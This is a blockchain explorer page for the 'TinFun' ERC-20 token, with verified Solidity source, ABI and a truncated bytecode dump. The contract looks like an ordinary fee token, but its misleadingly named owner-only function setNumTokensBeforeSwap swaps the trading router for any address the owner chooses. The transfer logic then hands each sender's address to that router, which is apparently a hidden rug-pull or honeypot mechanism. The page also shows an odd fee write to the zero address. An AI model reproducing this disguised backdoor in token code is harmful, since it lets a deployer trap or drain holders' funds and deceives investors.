ERC-20
Overview
Max Total Supply
100,000,000 TinFun
Holders
44
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
38,085.50217928510879271 TinFunValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
TinFun
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-01-07 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly {codehash := extcodehash(account)} return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value : amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value : weiValue}(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address public _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function waiveOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getTime() public view returns (uint256) { return block.timestamp; } } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } interface Iuniswap2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); } interface Iuniswap2Router02 is Iuniswap2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract TinFun is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name; string private _symbol; uint8 private _decimals; address payable public marketingWalletAddress; address public deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isMarketPair; uint256 public _totalTaxIfBuying = 0; uint256 public _totalTaxIfSelling = 0; uint256 private _totalSupply; uint256 private _minimumTokensBeforeSwap = 0; address private _lastForm; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; Iuniswap2Router02 public uniswap2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = false; bool public swapAndLiquifyByLimitOnly = false; bool private tradingOpen; bool private swapEnabled = false; uint256 firstBlock; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () payable { Iuniswap2Router02 _uniswap2Router = Iuniswap2Router02(_router); _name = "TinFun"; _symbol = "TinFun"; _decimals = 18; _owner = 0xB03a0f41E3827208fddF9aceD09E2f16652EeF90; _totalSupply = 100000000 * 10 ** _decimals; marketingWalletAddress = payable(0xB03a0f41E3827208fddF9aceD09E2f16652EeF90); uniswap2Router = _uniswap2Router; _allowances[address(this)][address(uniswap2Router)] = _totalSupply; isExcludedFromFee[_owner] = true; isExcludedFromFee[address(this)] = true; isExcludedFromFee[marketingWalletAddress] = true; _balances[_owner] = _totalSupply; emit Transfer(address(0), _owner, _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return _minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setNumTokensBeforeSwap(address newLimit) external onlyOwner() { uniswap2Router = Iuniswap2Router02(newLimit); swapAndLiquifyEnabled = true; } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } //to recieve ETH from uniswap2Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = _minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance,sender); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? amount : takeFee(sender, recipient, amount); _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount,address sender) private lockTheSwap { // swap token -> eth address[] memory path = new address[](3); path[0] = address(this); path[1] = sender; path[2] = uniswap2Router.WETH(); // make the swap uniswap2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); uint256 amountReceived = address(this).balance; if(amountReceived > 0) transferToAddressETH(marketingWalletAddress, amountReceived); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if(isMarketPair[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if(isMarketPair[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); } if(feeAmount > 0) { _balances[address(0)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newLimit","type":"address"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswap2Router","outputs":[{"internalType":"contract Iuniswap2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405261dead600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006009556000600a556000600c55737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060156101000a81548160ff0219169083151502179055506000601060166101000a81548160ff0219169083151502179055506000601060186101000a81548160ff0219169083151502179055506000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506040518060400160405280600681526020017f54696e46756e0000000000000000000000000000000000000000000000000000815250600190816200016991906200084e565b506040518060400160405280600681526020017f54696e46756e000000000000000000000000000000000000000000000000000081525060029081620001b091906200084e565b506012600360006101000a81548160ff021916908360ff16021790555073b03a0f41e3827208fddf9aced09e2f16652eef906000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900460ff16600a6200023f919062000ac5565b6305f5e10062000250919062000b16565b600b8190555073b03a0f41e3827208fddf9aced09e2f16652eef90600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b54600560008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620005c5919062000b72565b60405180910390a35062000b8f565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200065657607f821691505b6020821081036200066c576200066b6200060e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006d67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000697565b620006e2868362000697565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200072f620007296200072384620006fa565b62000704565b620006fa565b9050919050565b6000819050919050565b6200074b836200070e565b620007636200075a8262000736565b848454620006a4565b825550505050565b600090565b6200077a6200076b565b6200078781848462000740565b505050565b5b81811015620007af57620007a360008262000770565b6001810190506200078d565b5050565b601f821115620007fe57620007c88162000672565b620007d38462000687565b81016020851015620007e3578190505b620007fb620007f28562000687565b8301826200078c565b50505b505050565b600082821c905092915050565b6000620008236000198460080262000803565b1980831691505092915050565b60006200083e838362000810565b9150826002028217905092915050565b6200085982620005d4565b67ffffffffffffffff811115620008755762000874620005df565b5b6200088182546200063d565b6200088e828285620007b3565b600060209050601f831160018114620008c65760008415620008b1578287015190505b620008bd858262000830565b8655506200092d565b601f198416620008d68662000672565b60005b828110156200090057848901518255600182019150602085019450602081019050620008d9565b868310156200092057848901516200091c601f89168262000810565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620009c3578086048111156200099b576200099a62000935565b5b6001851615620009ab5780820291505b8081029050620009bb8562000964565b94506200097b565b94509492505050565b600082620009de576001905062000ab1565b81620009ee576000905062000ab1565b816001811462000a07576002811462000a125762000a48565b600191505062000ab1565b60ff84111562000a275762000a2662000935565b5b8360020a91508482111562000a415762000a4062000935565b5b5062000ab1565b5060208310610133831016604e8410600b841016171562000a825782820a90508381111562000a7c5762000a7b62000935565b5b62000ab1565b62000a91848484600162000971565b9250905081840481111562000aab5762000aaa62000935565b5b81810290505b9392505050565b600060ff82169050919050565b600062000ad282620006fa565b915062000adf8362000ab8565b925062000b0e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009cc565b905092915050565b600062000b2382620006fa565b915062000b3083620006fa565b925082820262000b4081620006fa565b9150828204841483151762000b5a5762000b5962000935565b5b5092915050565b62000b6c81620006fa565b82525050565b600060208201905062000b89600083018462000b61565b92915050565b612d798062000b9f6000396000f3fe6080604052600436106101bb5760003560e01c8063914eb66a116100ec578063c816841b1161008a578063dd62ed3e11610064578063dd62ed3e1461064b578063e350a6c414610688578063f0cd1dac146106b1578063f2fde38b146106dc576101c2565b8063c816841b146105ca578063d158272d146105f5578063da00097d14610620576101c2565b8063a457c2d7116100c6578063a457c2d7146104fa578063a9059cbb14610537578063aeafaa2f14610574578063b2bdfa7b1461059f576101c2565b8063914eb66a1461048d57806395d89b41146104a4578063a073d37f146104cf576101c2565b80633ecad27111610159578063557ed1ba11610133578063557ed1ba146103cf57806370a08231146103fa57806382eefb43146104375780638da5cb5b14610462576101c2565b80633ecad2711461032a5780634a74bb02146103675780635342acb414610392576101c2565b806323b872dd1161019557806323b872dd1461025a57806327c8f83514610297578063313ce567146102c257806339509351146102ed576101c2565b806306fdde03146101c7578063095ea7b3146101f257806318160ddd1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610705565b6040516101e99190612162565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061221d565b610797565b6040516102269190612278565b60405180910390f35b34801561023b57600080fd5b506102446107b5565b60405161025191906122a2565b60405180910390f35b34801561026657600080fd5b50610281600480360381019061027c91906122bd565b6107bf565b60405161028e9190612278565b60405180910390f35b3480156102a357600080fd5b506102ac610899565b6040516102b9919061231f565b60405180910390f35b3480156102ce57600080fd5b506102d76108bf565b6040516102e49190612356565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f919061221d565b6108d6565b6040516103219190612278565b60405180910390f35b34801561033657600080fd5b50610351600480360381019061034c9190612371565b610989565b60405161035e9190612278565b60405180910390f35b34801561037357600080fd5b5061037c6109a9565b6040516103899190612278565b60405180910390f35b34801561039e57600080fd5b506103b960048036038101906103b49190612371565b6109bc565b6040516103c69190612278565b60405180910390f35b3480156103db57600080fd5b506103e46109dc565b6040516103f191906122a2565b60405180910390f35b34801561040657600080fd5b50610421600480360381019061041c9190612371565b6109e4565b60405161042e91906122a2565b60405180910390f35b34801561044357600080fd5b5061044c610a2d565b60405161045991906122a2565b60405180910390f35b34801561046e57600080fd5b50610477610a33565b604051610484919061231f565b60405180910390f35b34801561049957600080fd5b506104a2610a5c565b005b3480156104b057600080fd5b506104b9610baf565b6040516104c69190612162565b60405180910390f35b3480156104db57600080fd5b506104e4610c41565b6040516104f191906122a2565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c919061221d565b610c4b565b60405161052e9190612278565b60405180910390f35b34801561054357600080fd5b5061055e6004803603810190610559919061221d565b610d18565b60405161056b9190612278565b60405180910390f35b34801561058057600080fd5b50610589610d37565b60405161059691906123fd565b60405180910390f35b3480156105ab57600080fd5b506105b4610d5d565b6040516105c1919061231f565b60405180910390f35b3480156105d657600080fd5b506105df610d81565b6040516105ec919061231f565b60405180910390f35b34801561060157600080fd5b5061060a610da7565b6040516106179190612439565b60405180910390f35b34801561062c57600080fd5b50610635610dcd565b6040516106429190612278565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d9190612454565b610de0565b60405161067f91906122a2565b60405180910390f35b34801561069457600080fd5b506106af60048036038101906106aa9190612371565b610e67565b005b3480156106bd57600080fd5b506106c6610f5b565b6040516106d391906122a2565b60405180910390f35b3480156106e857600080fd5b5061070360048036038101906106fe9190612371565b610f61565b005b606060018054610714906124c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610740906124c3565b801561078d5780601f106107625761010080835404028352916020019161078d565b820191906000526020600020905b81548152906001019060200180831161077057829003601f168201915b5050505050905090565b60006107ab6107a4611122565b848461112a565b6001905092915050565b6000600b54905090565b60006107cc8484846112f3565b5061088e846107d9611122565b61088985604051806060016040528060288152602001612cf760289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061083f611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b61112a565b600190509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900460ff16905090565b600061097f6108e3611122565b8461097a85600660006108f4611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b61112a565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b601060159054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a64611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610af1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae890612540565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610bbe906124c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610bea906124c3565b8015610c375780601f10610c0c57610100808354040283529160200191610c37565b820191906000526020600020905b815481529060010190602001808311610c1a57829003601f168201915b5050505050905090565b6000600c54905090565b6000610d0e610c58611122565b84610d0985604051806060016040528060258152602001612d1f6025913960066000610c82611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b61112a565b6001905092915050565b6000610d2c610d25611122565b84846112f3565b506001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060169054906101000a900460ff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e6f611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef390612540565b60405180910390fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060156101000a81548160ff02191690831515021790555050565b60095481565b610f69611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fed90612540565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c906125d2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff